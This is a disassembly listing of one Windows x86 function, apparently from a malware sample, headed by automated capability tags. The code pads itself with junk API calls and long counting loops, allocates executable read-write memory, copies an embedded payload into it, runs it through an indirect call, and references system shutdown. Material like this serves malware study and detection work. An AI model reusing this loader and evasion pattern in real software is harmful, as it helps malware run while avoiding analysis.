Function at 0x403874
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk information
Read file on windows
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1454
call fcn.0040e9d0
cmp dword [0x441bf8], 0x5b1
push ebx
push esi
push edi
jne 0x403966
xor ebx, ebx
push ebx
lea eax, [ebp - 0x450]
push eax
push ebx
push 0x402f0c
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebx
push ebx
push ebx
push 0x402f34
call dword [sym.imp.USER32.dll_CreateWindowStationW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push ebx
push 0x402f64
push 0x402f94
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
push ebx
push 0x402fa8
push ebx
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push ebx
call fcn.0040460b
pop ecx
push ebx
push ebx
push ebx
push ebx
call fcn.00404446
pop ecx
pop ecx
mov eax, esp
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403531
fstp st(0)
lea esi, [ebp - 0x18]
call fcn.004034f0
mov ecx, esi
call fcn.00403507
push ebx
call fcn.0040405d
pop ecx
call fcn.00403cc3
push ebx
call fcn.0040418f
mov dword [esp], ebx
call fcn.00403564
fstp st(0)
push ebx
call fcn.0040418f
pop ecx
call fcn.00404679
add dword [0x441bf8], 0x1134b
push 0x402fd8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x402fe8
push eax
mov dword [0x440b4c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x441bf8]
xor ebx, ebx
push ebx
mov dword [0x440b44], eax
call eax
xor esi, esi
mov dword [0x440b48], eax
cmp dword [0x441bf8], ebx
jbe 0x403a03
cmp dword [0x441bf8], 0xa8
mov eax, dword [0x441bfc]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x440b48]
mov byte [ecx + esi], al
jne 0x4039fa
push ebx
lea eax, [ebp - 0x450]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0xc50]
push eax
push 0x402ff8
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
inc esi
cmp esi, dword [0x441bf8]
jb 0x4039b2
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov dword [ebp - 4], ebx
mov eax, dword [0x441bf8]
mov ecx, dword [ebp - 4]
add eax, ecx
cmp eax, 0xe
jne 0x403acb
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0x403008
push 0x403068
push 0x403090
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push ebx
lea eax, [ebp - 0x850]
push eax
push 0x4030cc
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0xc50]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownW]
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x1450]
push eax
push 0x403110
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push ebx
push ebx
lea eax, [ebp - 8]
push eax
call esi
push 0x4030f4
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x39621
jl 0x403a0c
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp edi, 0x206d47
jg 0x403b05
inc edi
cmp edi, 0x4f6a4
jl 0x403ae3
mov edi, 0x4e320c
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuW]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec edi
jne 0x403b0a
call fcn.004037e2
call esi
cmp edi, 0x26
jne 0x403b35
call fcn.0040385a
inc edi
cmp edi, 0x6753f
jl 0x403b29
push 0x7b
pop esi
cmp dword [0x441bf8], 0x86
jne 0x403ba0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push 0x403168
push 0x4031ac
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileType]
push ebx
push ebx
push 0x4031b8
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0x4031e4
push 0x4031f8
push 0x403220
push 0x403290
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x4032d0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
dec esi
jne 0x403b41
call fcn.004035a8
pop edi
pop esi
pop ebx
leave
ret